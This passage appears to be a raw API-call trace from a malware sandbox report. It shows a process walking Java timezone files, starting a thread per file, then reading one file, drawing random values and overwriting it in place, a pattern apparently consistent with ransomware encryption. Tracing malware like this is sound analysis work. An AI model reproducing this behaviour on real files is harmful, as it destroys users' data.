RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1ce240a0 [0159.200] wcscpy (in: _Dest=0x1ce240a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.200] wcscat (in: _Dest=0x1ce240a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.200] wcscat (in: _Dest=0x1ce240a0, _Source="Brisbane" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane" [0159.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce240a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e8 [0159.201] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Broken_Hill", cAlternateFileName="BROKEN~1")) returned 1 [0159.201] wcscmp (_String1="Broken_Hill", _String2=".") returned 1 [0159.201] wcscmp (_String1="Broken_Hill", _String2="..") returned 1 [0159.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b040 [0159.201] wcscpy (in: _Dest=0x1b86b040, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.201] wcscat (in: _Dest=0x1b86b040, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.201] wcscat (in: _Dest=0x1b86b040, _Source="Broken_Hill" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill" [0159.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26ec [0159.202] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currie", cAlternateFileName="")) returned 1 [0159.202] wcscmp (_String1="Currie", _String2=".") returned 1 [0159.202] wcscmp (_String1="Currie", _String2="..") returned 1 [0159.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1ce242a0 [0159.202] wcscpy (in: _Dest=0x1ce242a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.202] wcscat (in: _Dest=0x1ce242a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.202] wcscat (in: _Dest=0x1ce242a0, _Source="Currie" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie" [0159.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce242a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f0 [0159.203] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Darwin", cAlternateFileName="")) returned 1 [0159.203] wcscmp (_String1="Darwin", _String2=".") returned 1 [0159.203] wcscmp (_String1="Darwin", _String2="..") returned 1 [0159.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1ce24120 [0159.203] wcscpy (in: _Dest=0x1ce24120, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.203] wcscat (in: _Dest=0x1ce24120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.203] wcscat (in: _Dest=0x1ce24120, _Source="Darwin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin" [0159.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce24120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f4 [0159.204] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eucla", cAlternateFileName="")) returned 1 [0159.204] wcscmp (_String1="Eucla", _String2=".") returned 1 [0159.204] wcscmp (_String1="Eucla", _String2="..") returned 1 [0159.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308580 [0159.205] wcscpy (in: _Dest=0x42308580, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.205] wcscat (in: _Dest=0x42308580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.205] wcscat (in: _Dest=0x42308580, _Source="Eucla" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla" [0159.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f8 [0159.205] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hobart", cAlternateFileName="")) returned 1 [0159.205] wcscmp (_String1="Hobart", _String2=".") returned 1 [0159.205] wcscmp (_String1="Hobart", _String2="..") returned 1 [0159.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42308600 [0159.206] wcscpy (in: _Dest=0x42308600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.206] wcscat (in: _Dest=0x42308600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.206] wcscat (in: _Dest=0x42308600, _Source="Hobart" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Hobart") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Hobart" [0159.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26fc [0159.206] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lindeman", cAlternateFileName="")) returned 1 [0159.207] wcscmp (_String1="Lindeman", _String2=".") returned 1 [0159.207] wcscmp (_String1="Lindeman", _String2="..") returned 1 [0159.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x42308680 [0159.207] wcscpy (in: _Dest=0x42308680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.207] wcscat (in: _Dest=0x42308680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.207] wcscat (in: _Dest=0x42308680, _Source="Lindeman" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lindeman") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lindeman" [0159.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2700 [0159.208] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lord_Howe", cAlternateFileName="LORD_H~1")) returned 1 [0159.208] wcscmp (_String1="Lord_Howe", _String2=".") returned 1 [0159.208] wcscmp (_String1="Lord_Howe", _String2="..") returned 1 [0159.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42308700 [0159.208] wcscpy (in: _Dest=0x42308700, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.208] wcscat (in: _Dest=0x42308700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.208] wcscat (in: _Dest=0x42308700, _Source="Lord_Howe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lord_Howe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lord_Howe" [0159.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2704 [0159.209] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Melbourne", cAlternateFileName="MELBOU~1")) returned 1 [0159.209] wcscmp (_String1="Melbourne", _String2=".") returned 1 [0159.209] wcscmp (_String1="Melbourne", _String2="..") returned 1 [0159.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42308780 [0159.210] wcscpy (in: _Dest=0x42308780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.210] wcscat (in: _Dest=0x42308780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.210] wcscat (in: _Dest=0x42308780, _Source="Melbourne" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Melbourne") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Melbourne" [0159.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2708 [0159.211] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perth", cAlternateFileName="")) returned 1 [0159.211] wcscmp (_String1="Perth", _String2=".") returned 1 [0159.211] wcscmp (_String1="Perth", _String2="..") returned 1 [0159.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308800 [0159.211] wcscpy (in: _Dest=0x42308800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.211] wcscat (in: _Dest=0x42308800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.211] wcscat (in: _Dest=0x42308800, _Source="Perth" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Perth") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Perth" [0159.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270c [0159.213] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sydney", cAlternateFileName="")) returned 1 [0159.213] wcscmp (_String1="Sydney", _String2=".") returned 1 [0159.213] wcscmp (_String1="Sydney", _String2="..") returned 1 [0159.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42308880 [0159.213] wcscpy (in: _Dest=0x42308880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0159.213] wcscat (in: _Dest=0x42308880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0159.213] wcscat (in: _Dest=0x42308880, _Source="Sydney" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Sydney") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Sydney" [0159.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2710 [0159.214] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sydney", cAlternateFileName="")) returned 0 [0159.214] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0159.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63b30) returned 1 [0159.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d00) returned 1 [0159.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 Thread: id = 2454 os_tid = 0x1ecc [0153.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cet")) returned 0x20 [0153.876] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET", dwFileAttributes=0x20) returned 1 [0153.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cet"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1394 [0153.878] GetFileSizeEx (in: hFile=0x1394, lpFileSize=0x2a37fb00 | out: lpFileSize=0x2a37fb00*=1184) returned 1 [0153.878] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x49c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.878] ReadFile (in: hFile=0x1394, lpBuffer=0x2a37fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a37fac8, lpOverlapped=0x0 | out: lpBuffer=0x2a37fa80*, lpNumberOfBytesRead=0x2a37fac8*=0x4, lpOverlapped=0x0) returned 1 [0153.973] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8cc0 [0153.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d50 [0153.973] NtQuerySystemTime (in: CurrentTime=0x2a37f9c0 | out: CurrentTime=0x2a37f9c0*=132462177591118000) returned 0x0 [0153.973] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x4549bc21 [0153.973] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x4b55f839 [0153.973] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x689ba423 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x171da99b [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x59ab5d3e [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x4dc4b5f6 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0xf1880c8 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0xe5e4ece [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x7ce20756 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x7d5e7545 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x5853b1f6 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x16ae817d [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x5edcd8c8 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x17abacf1 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x459f6da1 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x381b7ba6 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x4103e18d [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x55edd6ce [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x128d86ab [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x5a713753 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x3da06deb [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x17ec59d8 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x72d83b88 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x10454543 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x5ebcfb75 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x4d517c23 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x19c9e91c [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x6e0dd631 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x3a183587 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x54c3d3e1 [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x1d71024f [0153.974] RtlRandomEx (in: Seed=0x2a37f9b0 | out: Seed=0x2a37f9b0) returned 0x7546e53b [0153.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d80 [0153.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0153.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8db0 [0153.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0153.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d50) returned 1 [0153.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced17f0 [0153.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0153.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42768ed0 [0153.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4276cae0 [0153.987] ReadFile (in: hFile=0x1394, lpBuffer=0x42768ed0, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x2a37f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42768ed0*, lpNumberOfBytesRead=0x2a37f9b0*=0x4a0, lpOverlapped=0x0) returned 1 [0153.987] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.987] WriteFile (in: hFile=0x1394, lpBuffer=0x4276cae0*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2a37f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4276cae0*, lpNumberOfBytesWritten=0x2a37f9b4*=0x4a0, lpOverlapped=0x0) returned 1 [0161.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a66b0 [0161.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a66e0 [0161.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a66e0) returned 1 [0161.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4276cae0) returned 1 [0161.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42768ed0) returned 1 [0161.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0161.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced17f0) returned 1 [0161.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 